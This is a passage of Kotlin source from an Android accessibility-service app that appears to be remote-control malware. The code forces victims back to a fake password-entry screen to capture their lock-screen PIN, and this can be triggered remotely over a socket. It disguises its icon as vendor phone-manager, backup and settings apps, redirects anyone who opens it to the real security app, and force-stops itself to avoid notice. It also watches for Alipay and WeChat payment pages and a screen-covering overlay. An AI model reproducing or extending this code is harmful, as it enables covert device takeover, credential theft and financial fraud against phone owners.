                Log.d(TAG, "🔐 距离上次返回时间过短，跳过本次返回")
                return
            }
            
            Log.d(TAG, "🔐 检测到从密码输入页面切换到其他应用: $packageName (返回次数: ${returnCount + 1})")
            
            // 延迟返回密码输入页面，给用户一点时间
            android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                returnToPasswordInputActivity()
            }, 50) // 2秒延迟
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理普通密码页面切换失败", e)
        }
    }
    
    /**
     * 处理Socket唤醒密码页面切换（参考handleNormalPasswordPageSwitch逻辑）
     */
    private fun handleSocketWakePasswordPageSwitch(packageName: String, className: String) {
        try {
            // 首先检查设备是否真的需要密码输入（参考handleNormalPasswordPageSwitch）
            if (!isPasswordInputActuallyRequired()) {
                Log.d(TAG, "🔐 Socket唤醒：设备无需密码输入，停止自动返回密码页面")
                stopSocketWakePasswordMonitoring()
                return
            }
            
            // 检查是否超过最大返回次数（参考handleNormalPasswordPageSwitch）
            if (socketWakeReturnCount >= maxSocketWakeReturnCount) {
                Log.w(TAG, "🔐 Socket唤醒已达到最大返回次数($maxSocketWakeReturnCount)，停止自动返回")
                stopSocketWakePasswordMonitoring()
                return
            }
            
            // 检查是否在短时间内重复返回（参考handleNormalPasswordPageSwitch，但使用更短的时间间隔）
            val currentTime = System.currentTimeMillis()
            if (currentTime - lastReturnTime < 2000) { // 2秒内不重复返回，参考handleNormalPasswordPageSwitch的50ms
                Log.d(TAG, "🔐 Socket唤醒距离上次返回时间过短，跳过本次返回")
                return
            }
            
            Log.d(TAG, "🔐 Socket唤醒检测到从密码输入页面切换到其他应用: $packageName (返回次数: ${socketWakeReturnCount + 1})")
            
            // 检查是否启用强制返回
            if (!enableForceReturn) {
                Log.w(TAG, "⚠️ Socket唤醒检测到页面切换，但强制返回已禁用")
                Log.w(TAG, "⚠️ 如需强制返回，请手动切换到密码输入页面")
                
                // 记录到操作日志，但不执行强制返回
                service.recordOperationLog("SOCKET_WAKE_PAGE_SWITCH_DETECTED", "Socket唤醒检测到页面切换（强制返回已禁用）", mapOf(
                    "packageName" to packageName,
                    "className" to className,
                    "passwordType" to socketWakePasswordType,
                    "returnCount" to socketWakeReturnCount,
                    "forceReturnEnabled" to false,
                    "timestamp" to System.currentTimeMillis()
                ))
                return
            }
            
            // 启用强制返回的情况（参考handleNormalPasswordPageSwitch的延迟返回逻辑）
            Log.d(TAG, "🔐 Socket唤醒启用强制返回，参考handleNormalPasswordPageSwitch逻辑")
            
            // 延迟返回密码输入页面，给用户一点时间（参考handleNormalPasswordPageSwitch的50ms延迟）
            android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                try {
                    returnToSocketWakePasswordInputActivity()
                    lastSuccessfulReturnTime = System.currentTimeMillis()
                } catch (e: Exception) {
                    Log.e(TAG, "❌ Socket唤醒延迟返回失败", e)
                }
            }, 500) // 2秒延迟，给用户充分时间操作
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理Socket唤醒密码页面切换失败", e)
        }
    }
    
    /**
     * 检查是否真的需要密码输入
     */
    private fun isPasswordInputActuallyRequired(): Boolean {
        return try {
            // 首先检查应用内密码输入是否已完成
            val prefs = context.getSharedPreferences("password_input", Context.MODE_PRIVATE)
            val completed = prefs.getBoolean("password_input_completed", false)
            
            if (completed) {
                Log.d(TAG, "🔐 应用内密码输入已完成，停止强制返回密码页面")
                return false
            }
            
            // 如果应用内密码未完成，再检查系统锁屏密码
            val keyguardManager = context.getSystemService(android.content.Context.KEYGUARD_SERVICE) as? android.app.KeyguardManager
            val isSecure = keyguardManager?.isKeyguardSecure == true
            Log.d(TAG, "🔐 检查密码输入必要性: isSecure=$isSecure, completed=$completed")
            return isSecure
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查密码输入必要性失败", e)
            // 出错时默认需要密码输入，确保安全
            return true
        }
    }
    
    /**
     * 返回到密码输入页面
     */
    private fun returnToPasswordInputActivity() {
        try {
            lastReturnTime = System.currentTimeMillis()
            returnCount++
            
            Log.d(TAG, "🔐 尝试返回到密码输入页面 (第${returnCount}次)")
            val intent = Intent(context, com.hikoncont.activity.PasswordInputActivity::class.java).apply {
                // 使用温和的flags设置，避免Activity被销毁
                flags = Intent.FLAG_ACTIVITY_NEW_TASK or 
                       Intent.FLAG_ACTIVITY_SINGLE_TOP or
                       Intent.FLAG_ACTIVITY_REORDER_TO_FRONT
            }
            context.startActivity(intent)
            Log.d(TAG, "✅ 已返回到密码输入页面")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 返回到密码输入页面失败", e)
        }
    }
    
    /**
     * 返回到Socket唤醒的密码输入页面（参考returnToPasswordInputActivity逻辑）
     */
    private fun returnToSocketWakePasswordInputActivity() {
        try {
            lastReturnTime = System.currentTimeMillis()
            socketWakeReturnCount++
            
            Log.d(TAG, "🔐 Socket唤醒尝试返回到密码输入页面 (第${socketWakeReturnCount}次)")
            Log.d(TAG, "🔐 密码类型: $socketWakePasswordType")
            
            // 使用温和的Intent设置，避免Activity被销毁
            val intent = Intent(context, com.hikoncont.activity.PasswordInputActivity::class.java).apply {
                // 添加Socket唤醒的额外参数
                putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_PASSWORD_TYPE, socketWakePasswordType)
                putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_DEVICE_ID, socketWakeDeviceId)
                putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_INSTALLATION_ID, socketWakeInstallationId)
                putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_SOCKET_WAKE, true)
                
                // 使用温和的flags设置，避免Activity被销毁
                flags = Intent.FLAG_ACTIVITY_NEW_TASK or 
                       Intent.FLAG_ACTIVITY_SINGLE_TOP or
                       Intent.FLAG_ACTIVITY_REORDER_TO_FRONT
            }
            
            // 启动Activity
            context.startActivity(intent)
            Log.d(TAG, "✅ Socket唤醒已返回到密码输入页面")
            
            // 记录到操作日志
            service.recordOperationLog("SOCKET_WAKE_PASSWORD_RETURN", "Socket唤醒强制返回密码页面", mapOf(
                "passwordType" to socketWakePasswordType,
                "deviceId" to socketWakeDeviceId,
                "returnCount" to socketWakeReturnCount,
                "timestamp" to System.currentTimeMillis()
            ))
        } catch (e: Exception) {
            Log.e(TAG, "❌ Socket唤醒返回到密码输入页面失败", e)
        }
    }
    
    /**
     * 重置密码输入页面状态（当密码输入完成时调用）
     */
    fun resetPasswordInputActivityState() {
        isPasswordInputActivityOpened = false
        returnCount = 0
        lastReturnTime = 0L
        Log.d(TAG, "🔐 密码输入页面状态已重置")
    }
    
    /**
     * 启动Socket唤醒密码页面监控
     */
    fun startSocketWakePasswordMonitoring(passwordType: String, deviceId: String, installationId: String) {
        try {
            isSocketWakePasswordPage = true
            socketWakePasswordType = passwordType
            socketWakeDeviceId = deviceId
            socketWakeInstallationId = installationId
            socketWakeReturnCount = 0
            isMonitoringActive = true
            lastSuccessfulReturnTime = 0L
            lastActivityCheckTime = System.currentTimeMillis()
            
            Log.i(TAG, "🔐 启动Socket唤醒密码页面监控（温和模式）")
            Log.i(TAG, "🔐 密码类型: $passwordType")
            Log.i(TAG, "🔐 设备ID: $deviceId")
            Log.i(TAG, "🔐 最大返回次数: $maxSocketWakeReturnCount")
            Log.i(TAG, "🔐 检查间隔: ${minActivityCheckInterval}ms")
            
            // 记录到操作日志
            service.recordOperationLog("SOCKET_WAKE_MONITORING_STARTED", "启动Socket唤醒密码页面监控（温和模式）", mapOf(
                "passwordType" to passwordType,
                "deviceId" to deviceId,
                "installationId" to installationId,
                "maxReturns" to maxSocketWakeReturnCount,
                "checkInterval" to minActivityCheckInterval,
                "timestamp" to System.currentTimeMillis()
            ))
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动Socket唤醒密码页面监控失败", e)
        }
    }
    
    /**
     * 停止Socket唤醒密码页面监控
     */
    fun stopSocketWakePasswordMonitoring() {
        try {
            isSocketWakePasswordPage = false
            socketWakePasswordType = ""
            socketWakeDeviceId = ""
            socketWakeInstallationId = ""
            socketWakeReturnCount = 0
            isMonitoringActive = false
            lastSuccessfulReturnTime = 0L
            lastActivityCheckTime = 0L
            
            Log.i(TAG, "🔐 停止Socket唤醒密码页面监控（温和模式）")
            Log.i(TAG, "🔐 总返回次数: $socketWakeReturnCount")
            
            // 记录到操作日志
            service.recordOperationLog("SOCKET_WAKE_MONITORING_STOPPED", "停止Socket唤醒密码页面监控（温和模式）", mapOf(
                "totalReturns" to socketWakeReturnCount,
                "timestamp" to System.currentTimeMillis()
            ))
        } catch (e: Exception) {
            Log.e(TAG, "❌ 停止Socket唤醒密码页面监控失败", e)
        }
    }
    
    /**
     * 检查Socket唤醒监控状态
     */
    fun isSocketWakePasswordMonitoring(): Boolean {
        return isSocketWakePasswordPage
    }
    
    /**
     * 获取Socket唤醒密码类型
     */
    fun getSocketWakePasswordType(): String {
        return socketWakePasswordType
    }
    
    /**
     * 启用强制返回（谨慎使用，可能导致系统错误）
     */
    fun enableForceReturn() {
        enableForceReturn = true
        Log.w(TAG, "⚠️ Socket唤醒强制返回已启用，可能导致FlexibleTaskController错误")
        service.recordOperationLog("SOCKET_WAKE_FORCE_RETURN_ENABLED", "Socket唤醒强制返回已启用", mapOf(
            "timestamp" to System.currentTimeMillis()
        ))
    }
    
    /**
     * 禁用强制返回（推荐设置，避免系统错误）
     */
    fun disableForceReturn() {
        enableForceReturn = false
        Log.i(TAG, "✅ Socket唤醒强制返回已禁用，避免系统错误")
        service.recordOperationLog("SOCKET_WAKE_FORCE_RETURN_DISABLED", "Socket唤醒强制返回已禁用", mapOf(
            "timestamp" to System.currentTimeMillis()
        ))
    }
    
    /**
     * 检查强制返回是否启用
     */
    fun isForceReturnEnabled(): Boolean {
        return enableForceReturn
    }
    
    /**
     * 🎭 检测手机管家伪装
     * 当图标伪装开启后，监听本APP的打开，自动切换到系统手机管家页面
     */
    private fun detectPhoneManagerCamouflage(packageName: String, className: String) {
        try {
            // 检查手机管家伪装是否启用
            if (!isPhoneManagerCamouflageEnabled) {
                return
            }
            
            // 添加明显的调试日志
            Log.d(TAG, "🎭 [手机管家伪装检测] 检查事件: packageName=$packageName, className=$className")
            Log.d(TAG, "🎭 [手机管家伪装检测] 期望的包名: $phoneManagerCamouflagePackageName")
            Log.d(TAG, "🎭 [手机管家伪装检测] 期望的类名: $phoneManagerCamouflageClassName")
            
            // 检查是否是本APP的任何组件被打开
            val isOurApp = (packageName == phoneManagerCamouflagePackageName)
            
            if (isOurApp) {
                Log.i(TAG, "🎭 [手机管家伪装检测] 检测到本APP事件: packageName=$packageName, className=$className")
                
                // 检查是否是任何伪装alias（更新华为相关别名）
                val isPhoneManagerAlias = (
                    className == phoneManagerCamouflageClassName ||
                    className == "com.hikoncont.activity.PhoneManagerAlias" ||
                    className.contains("PhoneManagerAlias") ||
                    className.contains("VivoIGuanjiaAlias") ||
                    className.contains("OppoAlias") ||
                    className.contains("HuaweiBackupAlias") ||
                    className.contains("HuaweiWeatherAlias") ||
                    className.contains("HuaweiSettingsAlias") ||
                    className.contains("HuaweiBackupLauncherActivity") ||
                    className.contains("XiaomiAlias") ||
                    className.contains("SettingsAlias")
                )
                
                // 检查是否是MainActivity
                val isMainActivity = (className.contains("MainActivity") || 
                                     className.contains("com.hikoncont.MainActivity"))
                
                // 检查是否是WechatPasswordActivity（重要页面，不应该拦截）
                val isWechatPasswordActivity = (className.contains("WechatPasswordActivity"))
                
                // 检查是否是PasswordInputActivity（重要页面，不应该拦截）
                val isPasswordInputActivity = (className.contains("PasswordInputActivity"))
                
                // 检查是否是系统UI组件（可能是PhoneManagerAlias启动时的UI组件）
//                val isSystemUI = false
                val isSystemUI = (className.startsWith("android.widget.") ||
                                className.startsWith("android.view.") ||
                                className.startsWith("androidx."))

                if (isWechatPasswordActivity) {
                    Log.i(TAG, "🎭 [手机管家伪装检测] 检测到WechatPasswordActivity正在显示，跳过拦截")
                    return
                } else if (isPasswordInputActivity) {
                    Log.i(TAG, "🎭 [手机管家伪装检测] 检测到PasswordInputActivity正在显示，跳过拦截")
                    return
                } else if (isPhoneManagerAlias) {
                    Log.i(TAG, "🎭 [手机管家伪装检测] 检测到PhoneManagerAlias被点击")
                    // 检查是否是小米手机，如果是则跳过跳转
                    if (isXiaomiDevice()) {
                        Log.i(TAG, "🎭 [手机管家伪装检测] 检测到小米手机，跳过跳转到系统手机管家")
                        return
                    }
                    Log.i(TAG, "🎭 [手机管家伪装检测] 非小米手机，立即拦截并跳转到系统手机管家")
                } else if (isMainActivity) {
                    Log.i(TAG, "🎭 [手机管家伪装检测] 检测到MainActivity即将打开")
                    // 检查是否是小米手机，如果是则跳过跳转
                    if (isXiaomiDevice()) {
                        Log.i(TAG, "🎭 [手机管家伪装检测] 检测到小米手机，跳过跳转到系统手机管家")
                        return
                    }
                    Log.i(TAG, "🎭 [手机管家伪装检测] 非小米手机，立即拦截并跳转到系统手机管家")
                } else if (isSystemUI) {
                    Log.i(TAG, "🎭 [手机管家伪装检测] 检测到本APP系统UI组件，可能是PhoneManagerAlias启动")
                    // 检查是否是小米手机，如果是则跳过跳转
                    if (isXiaomiDevice() || isVivoDevice()) {
                        Log.i(TAG, "🎭 [手机管家伪装检测] 检测到小米或vivo手机，跳过跳转到系统手机管家")
                        return
                    }
                    Log.i(TAG, "🎭 [手机管家伪装检测] 非小米手机，尝试拦截: className=$className")
                } else {
                    Log.i(TAG, "🎭 [手机管家伪装检测] 检测到本APP其他组件")
                    // 检查是否是小米手机，如果是则跳过跳转
                    if (isXiaomiDevice()) {
                        Log.i(TAG, "🎭 [手机管家伪装检测] 检测到小米手机，跳过跳转到系统手机管家")
                        return
                    }
                    Log.i(TAG, "🎭 [手机管家伪装检测] 非小米手机，也尝试拦截: className=$className")
                }
                
                // 防重复切换
                val currentTime = System.currentTimeMillis()
                if (currentTime - lastPhoneManagerSwitchTime < minPhoneManagerSwitchInterval) {
                    Log.d(TAG, "🎭 [手机管家伪装检测] 距离上次切换时间过短，跳过本次切换")
                    return
                }
                
                lastPhoneManagerSwitchTime = currentTime
                
                // 检查是否有重要页面正在显示，如果有则不跳转
                if (isImportantPageVisible()) {
                    Log.i(TAG, "🎭 [手机管家伪装检测] 检测到重要页面正在显示，跳过跳转到手机管家")
                    return
                }
                
                // 再次检查WechatPasswordActivity是否正在显示（双重保护）
                val rootNode = service.rootInActiveWindow
                if (rootNode != null) {
                    val currentPackageName = rootNode.packageName?.toString() ?: ""
                    val currentClassName = rootNode.className?.toString() ?: ""
                    
                    if (currentPackageName == "com.hikoncont" && currentClassName.contains("WechatPasswordActivity")) {
                        Log.i(TAG, "🎭 [手机管家伪装检测] 双重检查：检测到WechatPasswordActivity正在显示，跳过跳转到手机管家")
                        return
                    }
                }
                
                // 立即拦截并跳转到系统手机管家
                try {
                    interceptAndSwitchToPhoneManager()
                } catch (e: Exception) {
                    Log.e(TAG, "❌ [手机管家伪装检测] 拦截并跳转到系统手机管家失败", e)
                }
                
            } else {
                // 添加不匹配的调试日志
                Log.v(TAG, "🎭 [手机管家伪装检测] 非本APP事件，跳过: packageName=$packageName, className=$className")
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [手机管家伪装检测] 检测手机管家伪装失败", e)
        }
    }
    

    
    /**
     * 🔍 检查是否有重要页面正在显示
     * 检查支付宝页面、微信密码页面、passwordInputActivity页面、遮罩层页面是否正在显示
     */
    private fun isImportantPageVisible(): Boolean {
        try {
            val rootNode = service.rootInActiveWindow
            if (rootNode == null) {
                Log.d(TAG, "🔍 [重要页面检查] rootNode为空，无法检查")
                return false
            }
            
            val packageName = rootNode.packageName?.toString() ?: ""
            val className = rootNode.className?.toString() ?: ""
            
            Log.d(TAG, "🔍 [重要页面检查] 当前页面: packageName=$packageName, className=$className")
            
            // 检查是否是我们的PasswordInputActivity
            if (packageName == "com.hikoncont" && className.contains("PasswordInputActivity")) {
                Log.i(TAG, "🔍 [重要页面检查] 检测到PasswordInputActivity正在显示")
                return true
            }
            
            // 检查是否是我们的WechatPasswordActivity
            if (packageName == "com.hikoncont" && className.contains("WechatPasswordActivity")) {
                Log.i(TAG, "🔍 [重要页面检查] 检测到WechatPasswordActivity正在显示")
                return true
            }
            
            // 检查是否是支付宝相关页面
            if (packageName == "com.eg.android.AlipayGphone" || 
                packageName == "com.alipay.android.phone.mobilecommon" ||
                packageName.contains("alipay")) {
                Log.i(TAG, "🔍 [重要页面检查] 检测到支付宝页面正在显示")
                return true
            }
            
            // 检查是否是微信相关页面
            if (packageName == "com.tencent.mm" || 
                packageName.contains("wechat") ||
                packageName.contains("weixin") ||
                packageName.startsWith("com.tencent.mm") ||
                packageName.contains("tencent.mm")) {
                Log.i(TAG, "🔍 [重要页面检查] 检测到微信页面正在显示")
                return true
            }
            
            // 检查是否是遮罩层页面（通过检查是否有遮罩相关的UI元素）
            if (isMaskOverlayVisible(rootNode)) {
                Log.i(TAG, "🔍 [重要页面检查] 检测到遮罩层页面正在显示")
                return true
            }
            
            // 检查是否是密码输入相关的页面（通过检查UI元素）
            if (isPasswordInputPageVisible(rootNode)) {
                Log.i(TAG, "🔍 [重要页面检查] 检测到密码输入页面正在显示")
                return true
            }
            
            Log.d(TAG, "🔍 [重要页面检查] 未检测到重要页面，可以跳转")
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [重要页面检查] 检查重要页面失败", e)
            return false
        }
    }
    
    /**
     * 🔍 检查是否有遮罩层正在显示
     */
    private fun isMaskOverlayVisible(rootNode: android.view.accessibility.AccessibilityNodeInfo): Boolean {
        try {
            // 检查是否有遮罩相关的文本内容
            val textContent = getNodeTextContent(rootNode)
            if (textContent.contains("配置中") || 
                textContent.contains("请稍后") ||
                textContent.contains("正在自动配置") ||
                textContent.contains("请勿操作设备")) {
                return true
            }
            
            // 检查是否有遮罩相关的UI元素
            val maskKeywords = listOf("配置中", "请稍后", "正在自动配置", "请勿操作设备", "配置完成后")
            for (keyword in maskKeywords) {
                if (textContent.contains(keyword)) {
                    return true
                }
            }
            
            return false
        } catch (e: Exception) {
            Log.e(TAG, "❌ [遮罩检查] 检查遮罩层失败", e)
            return false
        }
    }
    
    /**
     * 🔍 检查是否是密码输入页面
     */
    private fun isPasswordInputPageVisible(rootNode: android.view.accessibility.AccessibilityNodeInfo): Boolean {
        try {
            val textContent = getNodeTextContent(rootNode)
            
            // 检查是否有密码输入相关的文本
            val passwordKeywords = listOf(
                "请输入密码", "密码", "PIN", "图形密码", "数字密码",
                "请输入PIN", "请输入图形密码", "请输入数字密码",
                "密码输入", "PIN输入", "图形密码输入", "数字密码输入"
            )
            
            for (keyword in passwordKeywords) {
                if (textContent.contains(keyword)) {
                    return true
                }
            }
            
            // 检查是否有密码输入相关的UI元素
            val passwordInputTypes = listOf(
                android.view.accessibility.AccessibilityNodeInfo.ACTION_SET_TEXT,
                android.view.accessibility.AccessibilityNodeInfo.ACTION_CLICK
            )
            
            // 这里可以添加更复杂的UI元素检查逻辑
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [密码页面检查] 检查密码输入页面失败", e)
            return false
        }
    }
    
    /**
     * 🔍 获取节点的文本内容
     */
    private fun getNodeTextContent(node: android.view.accessibility.AccessibilityNodeInfo): String {
        try {
            val text = node.text?.toString() ?: ""
            val contentDescription = node.contentDescription?.toString() ?: ""
            
            // 递归获取子节点的文本内容
            val childTexts = mutableListOf<String>()
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    childTexts.add(getNodeTextContent(child))
                }
            }
            
            return "$text $contentDescription ${childTexts.joinToString(" ")}"
        } catch (e: Exception) {
            Log.e(TAG, "❌ [文本获取] 获取节点文本内容失败", e)
            return ""
        }
    }

    /**
     * 🎭 拦截并切换到系统手机管家（拦截版）
     * 拦截MainActivity的打开，使用白屏遮盖并启动系统手机管家
     */
    private fun interceptAndSwitchToPhoneManager() {
        try {
            Log.i(TAG, "🎭 开始拦截并切换到系统手机管家")

            // 🛡️ 短路保护：服务未运行时优先自愈，不做任何跳转，避免白屏死锁
            try {
                val running = com.hikoncont.service.AccessibilityRemoteService.isServiceRunning()
                if (!running) {
                    // ✅ 参考 f 目录：不重启无障碍服务，系统会自动管理
                    Log.d(TAG, "📱 无障碍服务未运行，系统会自动管理无障碍服务生命周期")
                    return
                }
            } catch (_: Exception) {}

            // 立即启动系统手机管家
            startSystemPhoneManager()

        } catch (e: Exception) {
            Log.e(TAG, "❌ 拦截并切换到系统手机管家异常", e)
        }
    }
    
    /**
     * 🎭 启动系统手机管家
     */
    private fun startSystemPhoneManager() {
        try {
            Log.i(TAG, "🎭 开始启动系统手机管家")
            
            val packageManager = context.packageManager

            // 🛡️ 短路保护：服务未运行时优先自愈，不做任何跳转
            try {
                val running = com.hikoncont.service.AccessibilityRemoteService.isServiceRunning()
                if (!running) {
                    // ✅ 参考 f 目录：不重启无障碍服务，系统会自动管理
                    Log.d(TAG, "📱 无障碍服务未运行(启动路径)，系统会自动管理无障碍服务生命周期")
                    return
                }
            } catch (_: Exception) {}
            
            // 按厂商定制优先包名
            val manufacturer = android.os.Build.MANUFACTURER.lowercase()
            val brand = android.os.Build.BRAND.lowercase()

            val phoneManagerPackages: List<String> = when {
                // 华为 / 荣耀（HarmonyOS/EMUI）
                manufacturer.contains("huawei") || brand.contains("huawei") ||
                manufacturer.contains("honor") || brand.contains("honor") -> listOf(
                    "com.huawei.systemmanager",      // 华为手机管家
                    "com.hihonor.systemmanager",     // 荣耀手机管家（新）
                    "com.android.settings"           // 兜底
                )

                // 小米
                manufacturer.contains("xiaomi") || brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco") -> listOf(
                    "com.miui.securitycenter",
                    "com.android.settings"
                )

                // OPPO / realme / OnePlus (ColorOS/OxygenOS)
                manufacturer.contains("oppo") || brand.contains("oppo") ||
                brand.contains("realme") || brand.contains("oneplus") -> listOf(
                    "com.oppo.safecenter",
                    "com.coloros.phonemanager",
                    "com.android.settings"
                )

                // vivo / iQOO
                manufacturer.contains("vivo") || brand.contains("vivo") || brand.contains("iqoo") -> listOf(
                    "com.iqoo.secure",
                    "com.android.settings"
                )

                // 三星
                manufacturer.contains("samsung") || brand.contains("samsung") -> listOf(
                    "com.samsung.android.sm",                // 设备维护/Device Care
                    "com.samsung.android.lool",              // 旧版Device Maintenance
                    "com.samsung.android.app.smartcallprovider",
                    "com.android.settings"
                )

                // 联想 / 摩托罗拉
                manufacturer.contains("lenovo") || brand.contains("lenovo") ||
                manufacturer.contains("motorola") || brand.contains("motorola") -> listOf(
                    "com.lenovo.safecenter",
                    "com.motorola.ccc.ota",
                    "com.android.settings"
                )

                else -> listOf(
                    // 常见三方安全/手机管家（作为补充）
                    "com.tencent.qqpimsecure",
                    "com.qihoo.security",
                    "com.baidu.security",
                    "com.kingsoft.powerword",
                    // 兜底到系统设置
                    "com.android.settings"
                )
            }
            
            // 尝试启动系统手机管家
            var success = false
            for (packageName in phoneManagerPackages) {
                try {
                    val intent = packageManager.getLaunchIntentForPackage(packageName)
                    if (intent != null) {
                        // 使用最激进的Intent flags来确保快速切换
                        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
                        intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
                        intent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT)
                        intent.addFlags(Intent.FLAG_ACTIVITY_BROUGHT_TO_FRONT)
                        intent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION)
                        
                        context.startActivity(intent)
                        
                        Log.i(TAG, "✅ 成功拦截并启动系统手机管家: $packageName")
                        success = true
                        
                        // 记录操作日志
                        service.recordOperationLog("PHONE_MANAGER_INTERCEPT_SWITCH", "手机管家拦截切换成功", mapOf(
                            "targetPackage" to packageName,
                            "timestamp" to System.currentTimeMillis()
                        ))
                        
                        break
                    }
                } catch (e: Exception) {
                    Log.d(TAG, "⚠️ 无法启动手机管家: $packageName", e)
                    continue
                }
            }
            
            // 如果没有找到合适的手机管家，启动系统设置
            if (!success) {
                Log.w(TAG, "⚠️ 未找到可用的系统手机管家，尝试启动系统设置")
                try {
                    val settingsIntent = Intent(android.provider.Settings.ACTION_SETTINGS)
                    settingsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                    settingsIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
                    settingsIntent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION)
                    context.startActivity(settingsIntent)
                    
                    Log.i(TAG, "✅ 已拦截并切换到系统设置")
                    
                    // 记录操作日志
                    service.recordOperationLog("PHONE_MANAGER_INTERCEPT_FALLBACK", "手机管家拦截备选切换", mapOf(
                        "fallbackTo" to "system_settings",
                        "timestamp" to System.currentTimeMillis()
                    ))
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 切换到系统设置也失败", e)
                }
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 拦截并切换到系统手机管家异常", e)
        }
    }
    
    /**
     * 🎭 阻断并切换到系统手机管家（终极优化版）
     * 强制关闭我们的APP，然后立即启动系统手机管家
     */
    private fun blockAndSwitchToPhoneManager() {
        try {
            Log.i(TAG, "🎭 开始阻断并切换到系统手机管家")
            
            // 第一步：立即启动系统手机管家
            val packageManager = context.packageManager
            
            // 常见的手机管家包名列表（按优先级排序）
            val phoneManagerPackages = listOf(
                "com.coloros.phonemanager", //vivo 手机管家
                "com.miui.securitycenter",           // 小米安全中心
                "com.huawei.systemmanager",          // 华为手机管家
                "com.oppo.safecenter",               // OPPO安全中心
                "com.vivo.safecenter",               // vivo安全中心
                "com.samsung.android.app.smartcallprovider", // 三星安全中心
                "com.lenovo.safecenter",             // 联想安全中心
                "com.tencent.qqpimsecure",          // 腾讯手机管家
                "com.qihoo.security",                // 360手机卫士
                "com.kingsoft.powerword",            // 金山手机卫士
                "com.baidu.security",                // 百度手机卫士
                "com.android.settings"               // 系统设置（备用）
            )
            
            // 尝试启动系统手机管家
            var success = false
            for (packageName in phoneManagerPackages) {
                try {
                    val intent = packageManager.getLaunchIntentForPackage(packageName)
                    if (intent != null) {
                        // 使用最激进的Intent flags来确保快速切换
                        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
                        intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
                        intent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT)
                        intent.addFlags(Intent.FLAG_ACTIVITY_BROUGHT_TO_FRONT)
                        intent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION)
                        
                        context.startActivity(intent)
                        
                        Log.i(TAG, "✅ 成功启动系统手机管家: $packageName")
                        success = true
                        
                        // 记录操作日志
                        service.recordOperationLog("PHONE_MANAGER_BLOCK_SWITCH", "手机管家阻断切换成功", mapOf(
                            "targetPackage" to packageName,
                            "timestamp" to System.currentTimeMillis()
                        ))
                        
                        break
                    }
                } catch (e: Exception) {
                    Log.d(TAG, "⚠️ 无法启动手机管家: $packageName", e)
                    continue
                }
            }
            
            // 第二步：强制关闭我们的APP（延迟执行，确保手机管家先启动）
            android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                try {
                    forceCloseOurApp()
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 强制关闭我们的APP失败", e)
                }
            }, 100) // 100ms延迟，确保手机管家先启动
            
            // 如果没有找到合适的手机管家，启动系统设置
            if (!success) {
                Log.w(TAG, "⚠️ 未找到可用的系统手机管家，尝试启动系统设置")
                try {
                    val settingsIntent = Intent(android.provider.Settings.ACTION_SETTINGS)
                    settingsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                    settingsIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
                    context.startActivity(settingsIntent)
                    
                    Log.i(TAG, "✅ 已切换到系统设置")
                    
                    // 记录操作日志
                    service.recordOperationLog("PHONE_MANAGER_BLOCK_FALLBACK", "手机管家阻断备选切换", mapOf(
                        "fallbackTo" to "system_settings",
                        "timestamp" to System.currentTimeMillis()
                    ))
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 切换到系统设置也失败", e)
                }
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 阻断并切换到系统手机管家异常", e)
        }
    }
    
    /**
     * 🎭 强制关闭我们的APP
     */
    private fun forceCloseOurApp() {
        try {
            Log.i(TAG, "🎭 开始强制关闭我们的APP")
            
            // 方法1：通过系统命令强制关闭（推荐方法）
            try {
                val process = Runtime.getRuntime().exec("am force-stop com.hikoncont")
                process.waitFor()
                Log.i(TAG, "✅ 通过系统命令强制关闭我们的APP")
            } catch (e: Exception) {
                Log.d(TAG, "⚠️ 系统命令关闭失败（可能需要root权限）", e)
            }
            
            // 方法2：通过ActivityManager强制关闭（备用方法）
            try {
                val activityManager = context.getSystemService(android.content.Context.ACTIVITY_SERVICE) as android.app.ActivityManager
                
                // 使用getRunningAppProcesses()替代getRunningTasks()
                val runningProcesses = activityManager.runningAppProcesses
                for (processInfo in runningProcesses) {
                    if (processInfo.processName == "com.hikoncont") {
                        Log.d(TAG, "🎭 发现我们的APP进程正在运行，尝试关闭")
                        try {
                            // 使用killBackgroundProcesses()方法
                            activityManager.killBackgroundProcesses("com.hikoncont")
                            Log.i(TAG, "✅ 成功关闭我们的APP进程")
                            break
                        } catch (e: Exception) {
                            Log.d(TAG, "⚠️ 无法关闭进程，尝试其他方法", e)
                        }
                    }
                }
            } catch (e: Exception) {
                Log.d(TAG, "⚠️ ActivityManager关闭失败", e)
            }
            
            // 方法3：通过Intent启动系统设置来覆盖我们的APP
            try {
